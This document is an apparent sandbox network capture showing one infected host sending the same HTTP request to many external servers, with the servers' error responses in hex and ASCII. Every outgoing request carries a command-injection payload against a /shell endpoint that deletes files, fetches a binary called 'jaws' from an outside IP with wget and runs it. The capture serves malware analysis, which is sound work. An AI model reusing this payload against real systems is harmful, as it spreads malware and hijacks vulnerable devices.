Jan 2, 2024 06:25:15.867830038 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:15 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.23	40712	66.78.59.102	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:15.619278908 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.23	54290	107.22.7.90	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:15.619385004 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:15.776501894 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:25:15 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
501	192.168.2.23	37628	52.216.42.21	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:15.620032072 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:15.778028011 CET	636	IN	HTTP/1.1 505 HTTP Version not supported Date: Tue, 02 Jan 24 05:25:15 GMT Connection: close Transfer-Encoding: chunked x-amz-id-2: yo8d+Q1tc31JzO+ygk/OVLhbQh+IvUUvdeDQuAgLiGGICbxfFfJTnEbSnpG8RjhsusQeMuFOKsqRRdDEva22pLZrKv2+3OGo x-amz-request-id: 2AD5D28EE4DE2111 Content-Type: application/xml Server: AmazonS3 Data Raw: 31 33 30 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 48 74 74 70 56 65 72 73 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 54 68 65 20 48 54 54 50 20 76 65 72 73 69 6f 6e 20 73 70 65 63 69 66 69 65 64 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 52 65 71 75 65 73 74 49 64 3e 32 41 44 35 44 32 38 45 45 34 44 45 32 31 31 31 3c 2f 52 65 71 75 65 73 74 49 64 3e 3c 48 6f 73 74 49 64 3e 79 6f 38 64 2b 51 31 74 63 33 31 4a 7a 4f 2b 79 67 6b 2f 4f 56 4c 68 62 51 68 2b 49 76 55 55 76 64 65 44 51 75 41 67 4c 69 47 47 49 43 62 78 66 46 66 4a 54 6e 45 62 53 6e 70 47 38 52 6a 68 73 75 73 51 65 4d 75 46 4f 4b 73 71 52 52 64 44 45 76 61 32 32 70 4c 5a 72 4b 76 32 2b 33 4f 47 6f 3c 2f 48 6f 73 74 49 64 3e 3c 2f 45 72 72 6f 72 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 130<?xml version="1.0" encoding="UTF-8"?><Error><Code>HttpVersionNotSupported</Code><Message>The HTTP version specified is not supported.</Message><RequestId>2AD5D28EE4DE2111</RequestId><HostId>yo8d+Q1tc31JzO+ygk/OVLhbQh+IvUUvdeDQuAgLiGGICbxfFfJTnEbSnpG8RjhsusQeMuFOKsqRRdDEva22pLZrKv2+3OGo</HostId></Error>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.23	46062	74.39.214.23	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:15.627181053 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:15.792593002 CET	408	IN	HTTP/1.1 500 Internal Error content-length: 268 content-type:text/html connection:close cache-control:no-cache, no-store Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 35 30 30 20 69 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 3c 2f 68 31 3e 41 6e 20 75 6e 65 78 70 65 63 74 65 64 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 3b 20 70 6c 65 61 73 65 20 77 61 69 74 20 61 20 77 68 69 6c 65 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 20 49 66 20 74 68 65 20 70 72 6f 62 6c 65 6d 20 70 65 72 73 69 73 74 73 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 75 70 70 6f 72 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 76 65 2e 3c 68 31 3e 20 41 64 64 69 74 69 6f 6e 61 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 3c 2f 68 31 3e 54 68 65 20 48 54 54 50 20 68 65 61 64 65 72 73 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 70 61 72 73 65 64 2e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>HTTP 500 internal server error</h1>An unexpected error occurred; please wait a while and try again. If the problem persists, please contact your support representative.<h1> Additional information </h1>The HTTP headers could not be parsed.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.23	52566	213.235.69.153	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:15.717215061 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:15.974154949 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Tue, 02 Jan 2024 05:25:15 GMT Server: lighttpd/1.4.39 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.23	59920	220.137.212.60	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:15.748234034 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.23	60320	104.76.96.21	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:15.761034012 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:16.059909105 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:15 GMT Date: Tue, 02 Jan 2024 05:25:15 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 65 33 35 34 33 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 31 31 35 26 23 34 36 3b 33 35 61 34 37 62 65 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.3e354317.1704173115.35a47bed</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.23	43682	18.208.8.115	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:15.875600100 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:16.034378052 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:25:15 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.23	51240	67.160.112.108	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:15.888423920 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:16.072081089 CET	500	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Tue, 02 Jan 2024 05:25:13 GMT Server: lighttpd/1.4.54 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.23	54168	186.88.83.194	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:15.957335949 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
509	192.168.2.23	52276	2.21.224.126	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:16.010358095 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:16.245188951 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:25:16 GMT Date: Tue, 02 Jan 2024 05:25:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 66 35 37 63 38 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 31 31 36 26 23 34 36 3b 34 65 66 39 31 65 65 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.3f57c817.1704173116.4ef91ee</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.23	39722	184.85.178.236	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:16.029669046 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:16.266865015 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:16 GMT Date: Tue, 02 Jan 2024 05:25:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 65 33 63 31 32 30 32 26 23 34 36 3b 31 37 30 34 31 37 33 31 31 36 26 23 34 36 3b 33 32 64 37 65 66 62 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.1e3c1202.1704173116.32d7efb1</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.23	53296	190.77.152.216	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:16.037353992 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.23	48722	104.71.83.32	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:16.196516991 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:16.524490118 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:25:16 GMT Date: Tue, 02 Jan 2024 05:25:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 37 61 39 33 30 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 31 31 36 26 23 34 36 3b 31 37 36 36 65 64 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.37a93017.1704173116.1766ed9</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.23	35172	54.219.136.37	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:18.698983908 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.23	48362	87.106.240.163	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:18.777401924 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:19.021136999 CET	441	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jan 2024 05:25:01 GMT Server: Apache/2.4.12 (Win32) PHP/5.6.5 Content-Length: 203 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.23	34070	114.33.8.18	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:18.822763920 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:19.114801884 CET	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jan 2024 05:25:18 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.23	39996	51.178.25.26	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:19.073342085 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
